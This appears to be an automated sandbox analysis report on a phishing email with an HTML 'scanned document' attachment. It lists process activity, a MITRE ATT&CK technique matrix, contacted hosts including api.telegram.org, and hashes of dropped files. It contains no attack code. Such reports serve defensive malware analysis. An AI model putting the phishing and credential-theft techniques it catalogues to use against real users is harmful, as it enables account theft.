Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information queried: ProcessInformation
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeQueries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation11
Browser Extensions		1
Process Injection		3
Masquerading		OS Credential Dumping1
Process Discovery		Remote ServicesData from Local System1
Web Service		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
DLL Side-Loading		1
DLL Side-Loading		1
Modify Registry		LSASS Memory1
File and Directory Discovery		Remote Desktop ProtocolData from Removable Media2
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt1
Registry Run Keys / Startup Folder		1
Registry Run Keys / Startup Folder		1
Process Injection		Security Account Manager12
System Information Discovery		SMB/Windows Admin SharesData from Network Shared Drive1
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
DLL Side-Loading		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture2
Application Layer Protocol		Traffic DuplicationData Destruction

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.html0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
bg.microsoft.map.fastly.net
199.232.210.172
truefalse
    		high
    google.com
    		172.217.17.46
    		truefalse
      		high
      webmail.diamondstarglass.com
      		50.87.146.5
      		truefalse
        		unknown
        www.google.com
        		172.217.21.36
        		truefalse
          		high
          api.telegram.org
          		149.154.167.220
          		truefalse
            		high

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmltrue
            • Avira URL Cloud: safe
            		unknown

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            52.113.194.132
            		unknownUnited States
            		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
            172.217.19.238
            		unknownUnited States
            		15169GOOGLEUSfalse
            1.1.1.1
            		unknownAustralia
            		13335CLOUDFLARENETUSfalse
            20.189.173.8
            		unknownUnited States
            		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
            2.18.66.243
            		unknownEuropean Union
            		20940AKAMAI-ASN1EUfalse
            172.217.17.46
            		google.comUnited States
            		15169GOOGLEUSfalse
            52.109.89.119
            		unknownUnited States
            		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
            172.217.19.163
            		unknownUnited States
            		15169GOOGLEUSfalse
            149.154.167.220
            		api.telegram.orgUnited Kingdom
            		62041TELEGRAMRUfalse
            50.87.146.5
            		webmail.diamondstarglass.comUnited States
            		46606UNIFIEDLAYER-AS-1USfalse
            239.255.255.250
            		unknownReserved
            		unknownunknownfalse
            52.109.89.19
            		unknownUnited States
            		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
            172.217.21.35
            		unknownUnited States
            		15169GOOGLEUSfalse
            142.250.181.68
            		unknownUnited States
            		15169GOOGLEUSfalse
            172.217.21.36
            		www.google.comUnited States
            		15169GOOGLEUSfalse
            64.233.162.84
            		unknownUnited States
            		15169GOOGLEUSfalse
            173.194.222.84
            		unknownUnited States
            		15169GOOGLEUSfalse
            199.232.210.172
            		bg.microsoft.map.fastly.netUnited States
            		54113FASTLYUSfalse

            Private

            IP
            192.168.2.17

            General Information

            Joe Sandbox version:41.0.0 Charoite
            Analysis ID:1573126
            Start date and time:2024-12-11 15:05:32 +01:00
            Joe Sandbox product:CloudBasic
            Overall analysis duration:
            Hypervisor based Inspection enabled:false
            Report type:full
            Cookbook file name:defaultwindowsinteractivecookbook.jbs
            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
            Number of analysed new started processes analysed:25
            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:0
            Technologies:
            • EGA enabled
            Analysis Mode:stream
            Analysis stop reason:Timeout
            Sample name:Message_2712729.eml
            Detection:MAL
            Classification:mal52.phis.troj.winEML@30/27@18/81
            Cookbook Comments:
            • Found application associated with file extension: .eml

            Warnings

            • Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe, svchost.exe
            • Excluded IPs from analysis (whitelisted): 52.113.194.132, 52.109.89.19, 2.18.66.243, 104.86.110.152, 199.232.210.172, 40.126.53.21, 40.126.53.11, 40.126.53.17, 20.190.181.6, 40.126.53.7, 20.231.128.66, 40.126.53.6, 20.190.181.4, 52.109.89.119
            • Excluded domains from analysis (whitelisted): omex.cdn.office.net, odc.officeapps.live.com, europe.odcsm1.live.com.akadns.net, weu-azsc-000.roaming.officeapps.live.com, eur.roaming1.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, osiprod-weu-bronze-azsc-000.westeurope.cloudapp.azure.com, login.live.com, wu-b-net.trafficmanager.net, a1864.dscd.akamai.net, ecs.office.com, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, weu-azsc-000.odc.officeapps.live.com, s-0005-office.config.skype.com, login.msa.msidentity.com, s-0005.s-msedge.net, ecs.office.trafficmanager.net, omex.cdn.office.net.akamaized.net, prod.odcsm1.live.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
            • Not all processes where analyzed, report is missing behavior information
            • Report size getting too big, too many NtQueryAttributesFile calls found.
            • Report size getting too big, too many NtQueryValueKey calls found.
            • Report size getting too big, too many NtSetValueKey calls found.
            • VT rate limit hit for: Message_2712729.eml

            Created / dropped Files

            C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 4761 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
            Category:dropped
            Size (bytes):4761
            Entropy (8bit):7.945585251880973
            Encrypted:false
            SSDEEP:
            MD5:77B20B5CD41BC6BB475CCA3F91AE6E3C
            SHA1:9E98ACE72BD2AB931341427A856EF4CEA6FAF806
            SHA-256:5511A9B9F9144ED7BDE4CCB074733B7C564D918D2A8B10D391AFC6BE5B3B1509
            SHA-512:3537DA5E7F3ABA3DAFE6A86E9511ABA20B7A3D34F30AEA6CC11FEEF7768BD63C0C85679C49E99C3291BD1B552DED2C6973B6C2F7F6D731BCFACECAB218E72FD4
            Malicious:false
            Reputation:unknown
            Preview:MSCF............,...................O..................YWP .disallowedcert.stl.lJ..B...CK.wTS.....{.&Uz.I."E".HS@. .P.!.....*E. .DQ..... EDA.H. E..""/.s<.s.9.....&#.{~k.VV..7@......b.R....MdT..B.L..%.C......" ....%.4%..%*.B..T.d...S.....pem..$....&.q.`.+...E..C.....$.|.A.!~d.H>w%S$...QC't..;..<..R@....2. .l..?..c..A....Ew...l..K$.. ~...'......Mt^c..s.Y%..}......h......m....h.......~d...,...=ge3.....2%..(...T..!].....!C~.X..MHU.o[.z].Y...&lXG;uW.:...2!..][\/.G..]6#.I...S..#F.X.k.j.....)Nc.].t^.-l.Y...4?.b...rY....A......7.D.H\.R...s.L,.6.*|.....VQ....<.*.......... [Z....].N0LU.X........6..C\....F.....KbZ..^=.@.B..MyH...%.2.>...]..E.....sZ.f..3z.].Y.t.d$.....P...,. .~..mNZ[PL.<....d..+...l.-...b.^....6F..z.&.;D.._..c."...d..... k9....60?&..Y.v.dgu...{.....{..d=..$......@^..qA..*uJ..@W.V..eC..AV.e+21...N.{.]..]..f]..`Z.....]2.....x..f..K...t. ...e.V.U.$PV..@6W\_nsm.n.........A<.......d....@f..Z... >R..k.....8..Y....E>..2o7..........c..K7n....

            C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):340
            Entropy (8bit):3.262470744919491
            Encrypted:false
            SSDEEP:
            MD5:C6AFCE72576AA9E18B72AB26DAE7BF38
            SHA1:A4BCB8DE54AF594D9E499C8ADC325B02A69EAD1B
            SHA-256:07F39919EBC201023241101BF90BBB1DABA840CE511FD1688E85264F10D52D96
            SHA-512:E99C47C05CE342C6DFA172FC9D0E4F54EAD5C790835235972C4585079DAE739A3E193191CFF1DC2DEAD6CEDD351A61ACDB764C333ABD959F4AAD47EDE32D60DE
            Malicious:false
            Reputation:unknown
            Preview:p...... ..........Q..K..(....................................................... ........~..MG......&.....6.........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".0.6.c.f.c.c.5.4.d.4.7.d.b.1.:.0."...

            C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):231348
            Entropy (8bit):4.371852872054384
            Encrypted:false
            SSDEEP:
            MD5:08943482C08C057031E8C398DAC33959
            SHA1:36F47BA2B3CB9417D3A9F733AC0D883C89456582
            SHA-256:E90BEB4244796043B84F3B37F7A295F6622379878CC6DE260B12272F45F2AB7D
            SHA-512:4F49CF80ECBB13605F8B44970FDD7C2846C5F3B507FD56DEC31CB151176F20B3CBFE667A4A21958F54AD6661370A9FBD689CC909A0706EBABD950AA522391D9A
            Malicious:false
            Reputation:unknown
            Preview:TH02...... ......K......SM01X...,....c...K..........IPM.Activity...........h...............h............H..h........O.....h............H..h\tor ...AppD...h.>..0.........h...s...........h........_`.k...h...s@...I.+w...h....H...8..k...0....T...............d.........2h...............k..............!h.............. h!B.3..........#h....8.........$h........8....."h@.............'h..............1h...s<.........0h....4.....k../h....h......kH..h....p.........-h .......4.....+hW..s........................ ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

            C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:ASCII text, with very long lines (65536), with no line terminators
            Category:dropped
            Size (bytes):322260
            Entropy (8bit):4.000299760592446
            Encrypted:false
            SSDEEP:
            MD5:CC90D669144261B198DEAD45AA266572
            SHA1:EF164048A8BC8BD3A015CF63E78BDAC720071305
            SHA-256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
            SHA-512:16F8A8A6DCBAEAEFB88C7CFF910BCCC71B76A723CF808B810F500E28E543112C2FAE2491D4D209569BD810490EDFF564A2B084709B02963BCAF6FDF1AEEC59AC
            Malicious:false
            Reputation:unknown
            Preview:51253fe60063c31af0d295afb42228b0:v2:2:1:1590:2:8479:76bd602437550e98c9043d06a55186ab7d95dea5a0e935a599f73e62a8c9b158e0afcb19351f6c353940c06a38172b94d18c02cf92bb8a80184eccca0392b259ab3e71dae73e491c7941997cb36ad4a198661f622dad478d840f66d530a0dde78acea3367f91fff62fbb3dc18faff0c708ad30edef5bea8b22c5fd782b770d8993386eaa784fd19a3c3e1db3b537b1a94d3d4fbd46f8df8fddf6d16611969fe0a97c50e0f3ac24750c93257cf5c161184aa7385800c87d803b339632a3d8ec7fe17a0afd83ce9e9d0e3f7b8d579637928a811f1f7e6d1887df2ddc7d4f752c4d600235e426c92c7bf8a1362f95457998cc0e5d4261f0efa4fada0f866dbcefb407dacab7a2914e91c2f08200f38c2d9d621962145b1464b0f204b326118a53ecdcab22bff005fdd5257c99a6dc51ac0600a49f2ef782396987e78c08b846dad5db55e8ccefffc64863bc2c3e90b95a09d25d0814a848c98fe01a82d4e30e6682dd546e12c45ca0d280a45295ab4bd632dafb070edfdc3c9e38313d5aeb195972986f8011b66817028fd8c78b67a0ac7e780eecc3fb6a31f5a025b8a9a3db278a98c0696aeaac739b18688b0f9c7d751bba02cc5f4e41853fb119b3c0c915059aaa92971244a1989124f12881ca88e6410df70b793a2c3a736ff4

            C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:ASCII text, with no line terminators
            Category:dropped
            Size (bytes):10
            Entropy (8bit):2.7219280948873625
            Encrypted:false
            SSDEEP:
            MD5:790EC60FF14D13602D99DF12E7DAEE46
            SHA1:55FDC12C71F6D3F2E68EF63D63EE2EF86AE50C5C
            SHA-256:1DE34DC96B8B6A03F22342C05254CF102F83D93453E6E8D1AC2F1C463D6BE820
            SHA-512:74DDBBE4E1E162F40216960790E1020961E4BD43E4AC1AB1C39420C488C4F8EAF1AF3EACD25FC672DA968416620684264A36B453CB3A36BE447141CA1666FC60
            Malicious:false
            Reputation:unknown
            Preview:1733925966

            C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:SQLite 3.x database, last written using SQLite version 3023002, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
            Category:dropped
            Size (bytes):4096
            Entropy (8bit):0.09216609452072291
            Encrypted:false
            SSDEEP:
            MD5:F138A66469C10D5761C6CBB36F2163C3
            SHA1:EEA136206474280549586923B7A4A3C6D5DB1E25
            SHA-256:C712D6C7A60F170A0C6C5EC768D962C58B1F59A2D417E98C7C528A037C427AB6
            SHA-512:9D25F943B6137DD2981EE75D57BAF3A9E0EE27EEA2DF19591D580F02EC8520D837B8E419A8B1EB7197614A3C6D8793C56EBC848C38295ADA23C31273DAA302D9
            Malicious:false
            Reputation:unknown
            Preview:SQLite format 3......@ .......................................................................... .....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:SQLite Rollback Journal
            Category:dropped
            Size (bytes):4616
            Entropy (8bit):0.13700485453793962
            Encrypted:false
            SSDEEP:
            MD5:6126CA5A4929495D1C460A3D28BF9672
            SHA1:5F74239AFE9B6A82FB8D3E0A17503D7BEA2AD1F1
            SHA-256:2C9BC669DEC009DDA6A1E36DDFC80C572A58B34463C8DEF9215B81F95019808D
            SHA-512:BFEA611A6ED9F19BBA8FEBE76B0D373D6C8ED5223E326FEE35DA2B0ABB1C689B50AE5E5BD99E80879E376E3EC4FF56E333C404A51C680CBCC1E540EE3B782D48
            Malicious:false
            Reputation:unknown
            Preview:.... .c.....WFyo....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ .......................................................................... .................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):32768
            Entropy (8bit):0.04470641479249482
            Encrypted:false
            SSDEEP:
            MD5:4CE748D4618B6805C79E93B99236DFDF
            SHA1:78A3C9EF67C9AC30B426B67D957A851908147A45
            SHA-256:03049C71C3770A20A140946F4BFDBEA6AF42EC66A823BC86B2C9AF479B7E0EF0
            SHA-512:1C3625065C55382AA3ED86A06B0F487A5D62EB4C2FF3D11179C8DA4B71D6AD917E542FBD11BCDFD3B88C831A099FDAFB8168454C76253FAC2F9FC61CB1EB2FBD
            Malicious:false
            Reputation:unknown
            Preview:..-.....................!..Ku..t.d...J#&_.......-.....................!..Ku..t.d...J#&_.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:SQLite Write-Ahead Log, version 3007000
            Category:dropped
            Size (bytes):45352
            Entropy (8bit):0.3944768186218909
            Encrypted:false
            SSDEEP:
            MD5:BDA94AC3F3D7277B780C82F6ADF019DB
            SHA1:AC8543AF42C33D21A9D4767883DF21F1D45AA22D
            SHA-256:9C43CF8DEB489E1CC363B2C50D8031E991D8252BADEB051306ABE0BF7F146398
            SHA-512:B807D6B779112D6E0F76DB37596CE755AA30A57B74C87EB1C0B982033189924A5A272C23766424C3EE0B2BD13C538A56BF6D715BDE2347C95DC6C9CB84099E8A
            Malicious:false
            Reputation:unknown
            Preview:7....-...........d...J..g....".........d...J.\k.(T.hSQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):2278
            Entropy (8bit):3.8465023998318504
            Encrypted:false
            SSDEEP:
            MD5:6A0B509631F216F5687FE5F814C2D459
            SHA1:82379D6BA692E86055613C765F14678010E0A11F
            SHA-256:6FC75541C1D9AF8C1CF659B5AD1690A5EBA282A064CE6EC5A2EF5F837094F224
            SHA-512:6699DFC9032D3C2FB95453EFD9C38A1D09721C9574B559A155A24F09841D54FC66656009DB986BEDC8E0DEEC7387445F8D50CC9245096E8608458F75C17D06B0
            Malicious:false
            Reputation:unknown
            Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.l.U.M.d.5.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.M.j.g.X.C.

            C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):2684
            Entropy (8bit):3.901176161113521
            Encrypted:false
            SSDEEP:
            MD5:5721EFE54609FB24EA3FF643A64FF923
            SHA1:1DCD1DB8FF3F884E130CA35A54EFE9783BD8482A
            SHA-256:8F6C6A08696E698510D0C654FB57ABB6C3B8DC87F229CF628275E47B46F34289
            SHA-512:74A2FB60E4C85F45161BC51FCA9E5F5EA4DC1F7EE22FB2FE12E21AE8618E8F817B0880E76BEC236838E18899ED14E36D63458D035FB7BBBE9A6650D885111300
            Malicious:false
            Reputation:unknown
